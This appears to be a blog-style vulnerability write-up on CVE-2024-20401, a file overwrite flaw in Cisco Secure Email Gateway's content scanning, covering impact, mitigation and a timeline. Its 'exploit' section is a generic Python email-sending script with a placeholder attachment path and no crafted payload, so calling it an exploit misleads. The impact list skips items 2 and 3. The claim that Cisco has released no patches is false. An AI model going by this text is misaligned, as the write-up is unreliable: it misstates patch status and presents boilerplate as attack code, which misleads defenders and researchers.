A critical vulnerability (CVE-2024-20401) has been discovered in the content scanning and message filtering features of Cisco Secure Email Gateway. This vulnerability could potentially allow an unauthenticated, remote attacker to overwrite arbitrary files on the underlying operating system, potentially leading to several disastrous actions such as adding users with root privileges, modifying device configurations, executing arbitrary code, or even causing a permanent denial of service (DoS) condition on the affected device.

Details

This vulnerability is the result of improper handling of email attachments when file analysis and content filters are enabled. An attacker may exploit this vulnerability by sending an email containing a maliciously crafted attachment through an affected device. Upon successful exploitation, the attacker can then replace any file on the underlying file system, opening up numerous potential attack vectors.

For instance, the attacker could potentially

1. Add users with root privileges, providing unlimited access to authorized and unauthorized individuals.

Execute arbitrary code, which may lead to further vulnerability exploitation or data exfiltration.

4. Cause a permanent denial of service (DoS) condition on the affected device, rendering it unusable and requiring manual intervention to recover.

Exploit Details

The following code snippet showcases how a malicious attachment might be constructed to exploit the vulnerability:

import smtplib
import os
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication

# Sender and recipient email addresses
from_email = "attacker@example.com"
to_email = "victim@example.com"

# Email Contents
subject = "CVE-2024-20401 Exploit"
body = "This email contains a malicious attachment to overwrite arbitrary files."

# Create email with attachment
msg = MIMEMultipart()
msg["From"] = from_email
msg["To"] = to_email
msg["Subject"] = subject
msg.attach(MIMEText(body))

filepath = "/path/to/malicious_payload.txt" # Path to crafted attachment file
payload = open(filepath, "rb")

# Attachment
attachment = MIMEApplication(payload.read(), name=os.path.basename(filepath))
attachment["Content-Disposition"] = f"attachment; filename=\"{os.path.basename(filepath)}\""
msg.attach(attachment)

# Sending email
smtp = smtplib.SMTP("localhost")
smtp.sendmail(from_email, to_email, msg.as_string())
smtp.quit()

Here are the references to the original vulnerability disclosure and Cisco's official advisory

1. CVE-2024-20401: Vulnerability Details and Disclosure
2. Cisco Security Advisory: Cisco Secure Email Gateway File Overwrite Vulnerability

Mitigation

Currently, Cisco has not released any patches or updates to address this vulnerability. Until such time, it is recommended to disable file analysis and content filters on affected devices while constantly monitoring for unusual activities. Moreover, customers are advised to contact Cisco Technical Assistance Center (TAC) to help recover a device in a permanent DoS condition caused by this exploit.

Conclusion

CVE-2024-20401 is a critical file overwrite vulnerability in the content scanning and message filtering features of Cisco Secure Email Gateway. Exploiting this vulnerability could enable an attacker to replace any file on the underlying file system, potentially leading to a full system compromise or a permanent denial of service condition on the affected device. To protect against this exploit, it is crucial to disable file analysis and content filters, as well as monitor for abnormal activities. Finally, affected customers should contact Cisco TAC to help recover devices experiencing a permanent DoS condition due to this vulnerability.

Timeline

Published on: 07/17/2024 17:15:13 UTC
Last modified on: 07/19/2024 03:55:39 UTC